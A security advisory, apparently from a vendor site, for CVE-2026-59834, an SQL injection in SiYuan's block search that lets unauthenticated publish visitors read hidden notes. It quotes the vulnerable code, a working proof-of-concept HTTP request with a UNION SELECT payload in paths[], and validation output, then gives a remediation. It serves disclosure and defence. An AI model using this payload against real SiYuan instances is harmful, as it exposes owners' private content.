Summary
SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content
Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.
Affected Code
The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
Source: input/siyuan/kernel/api/search.go
paths[] is parsed into notebook IDs and paths without SQL escaping or validation:
path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
paths = append(paths, path)
}
Source: input/siyuan/kernel/api/search.go
Those values are then concatenated directly into SQL:
builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))
Source: input/siyuan/kernel/model/search.go
Regexp search executes the resulting statement:
stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)
Source: input/siyuan/kernel/model/search.go
The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:
for _, block := range blocks {
passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
}
Source: input/siyuan/kernel/model/publish_access.go
Attack Scenario
- A Siyuan instance enables the publish service.
- At least one document is visible to publish visitors.
- At least one document is hidden from publish visitors.
- The attacker sends a crafted
paths[]value to the publish service's/api/search/fullTextSearchBlockendpoint. - The injected SQL selects content from the hidden document while projecting the visible document's
boxandpath. - Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.
Proof of Concept
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}
VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.
Validation
Setup:
- Started
b3log/siyuan:latestwith an isolated temporary workspace. - Created one notebook.
- Created a visible document containing
public apple marker. - Created a hidden document containing
SECRET-LIVE-SQLI-20260609 apple marker. - Marked the hidden document invisible with
POST /api/filetree/setPublishAccess. - Enabled publish mode with
POST /api/setting/setPublish. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.
Control request through the publish service for the hidden marker returned no blocks:
{
"code": 0,
"msg": "",
"data": {
"blocks": [],
"docMode": false,
"matchedBlockCount": 1,
"matchedRootCount": 1,
"pageCount": 1
}
}
The injected request through the publish service returned the hidden block:
{
"code": 0,
"msg": "",
"data": {
"blocks": [
{
"box": "20260609095146-19hud1e",
"path": "/20260609095209-1ljs6o7.sy",
"hPath": "/HiddenDoc",
"id": "20260609095209-gttlrue",
"rootID": "20260609095209-yaz7i3h",
"parentID": "20260609095209-yaz7i3h",
"content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
"markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
"type": "NodeParagraph"
}
],
"docMode": false,
"matchedBlockCount": 0,
"matchedRootCount": 0,
"pageCount": 0
}
}
The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.
Impact
An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-59834 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260704035518-d0f0fe146fb0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:
box = ?
path LIKE ?
Then pass the user-controlled notebook ID and path prefix as query arguments.
Additional hardening:
- Validate notebook IDs before query construction.
- Validate document paths against Siyuan's normalized
.sypath format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
- Add regression tests for publish reader-role requests where
paths[]contains SQL metacharacters such as',),UNION, and--.
Frequently Asked Questions
- What is CVE-2026-59834? CVE-2026-59834 is a high-severity SQL injection vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260704035518-d0f0fe146fb0. It is fixed in 0.0.0-20260704035518-d0f0fe146fb0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-59834? CVE-2026-59834 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-59834? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260704035518-d0f0fe146fb0 is affected.
- Is there a fix for CVE-2026-59834? Yes. CVE-2026-59834 is fixed in 0.0.0-20260704035518-d0f0fe146fb0. Upgrade to this version or later.
- Is CVE-2026-59834 exploitable, and should I be worried? Whether CVE-2026-59834 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59834 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59834? Upgrade
github.com/siyuan-note/siyuan/kernelto 0.0.0-20260704035518-d0f0fe146fb0 or later.